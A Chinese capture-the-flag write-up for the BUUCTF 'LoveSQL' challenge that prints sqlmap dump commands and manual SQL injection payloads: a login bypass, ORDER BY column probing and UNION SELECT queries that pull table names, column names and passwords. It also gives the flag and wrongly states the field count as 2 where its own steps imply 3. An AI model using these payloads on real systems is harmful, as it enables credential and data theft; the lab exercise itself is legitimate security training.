题目来源:BUUCTF [极客大挑战 2019]LoveSQL 1
目录
一、打开靶机,分析信息
sqlmap%E8%A7%A3%E9%A2%98%E2%80%94%E2%80%94%E6%96%87%E4%BB%B6%E7%B1%BB-toc" name="tableOfContents" style="margin-left:0px">二、sqlmap解题——文件类
step 1:通过url进行爆破
step 2:抓包并将信息保存为文件进行爆破数据库
step 3:爆表
step 4:爆列的所有信息
三、手工注入爆破——万能密码
step 1:万能密码注入
step 2:判断字段数
step 3:爆数据库
step 4:爆表名
step 5:爆列名
step 6:爆具体数据
四、小结
一、打开靶机,分析信息
题目提示这道题是sql注入
查看源码,获取信息:①可尝试sqlmap;②可以手工注入
sqlmap%E8%A7%A3%E9%A2%98%E2%80%94%E2%80%94%E6%96%87%E4%BB%B6%E7%B1%BB" name="%E4%BA%8C%E3%80%81sqlmap%E8%A7%A3%E9%A2%98%E2%80%94%E2%80%94%E6%96%87%E4%BB%B6%E7%B1%BB">二、sqlmap解题——文件类
step 1:通过url进行爆破
直接复制url,使用 -u 进行爆破,但是总感觉哪里怪怪的,应该是传参的内容不太合适,所以改用文件方式进行爆破
step 2:抓包并将信息保存为文件进行爆破数据库
bp抓包后将信息保存在桌面的1.txt文件中,用-r指令进行爆破
口令:
python sqlmap.py -r "C:\Users\AR439\Desktop\1.txt" -dbs
step 3:爆表
python sqlmap.py -r "C:\Users\AR439\Desktop\1.txt" -p username --batch -D geek --tables
得到两个表,其中 l0ve1ysq1列 最可疑
step 4:爆列的所有信息
python sqlmap.py -r "C:\Users\AR439\Desktop\1.txt" -p username --batch -D geek -T l0ve1ysq1 --dump
得到flag
三、手工注入爆破——万能密码
step 1:万能密码注入
username:1’ or 1=1 # password:随便
注入点正确
step 2:判断字段数
%23是url编码后的#
sql">1' order by 3 %23
sql">1' order by 4 %23
所以可以得到字段数为2
step 3:爆数据库
这里可以加一步判断回显点
sql">1' union select 1,2,3%23
爆出数据库
sql">1' union select database(),database(),database()%23
得到数据库名geek
step 4:爆表名
sql">1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'
step 5:爆列名
sql">1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'%23
step 6:爆具体数据
sql">1' union select 1,2,password from geek.l0ve1ysq1 %23
得到了我们不需要的东西,所以应该一次性把数据全部输出
sql">1' union select 1,2,group_concat(password) from geek.l0ve1ysq1 %23
太长了,直接看源代码,得到flag为flag{8e405a18-97b4-4393-9991-ec7de04d993c}
四、小结
拿到题先寻找注入点,而后判断注入类型,尝试用万能密码登陆,sqlmap的使用很重要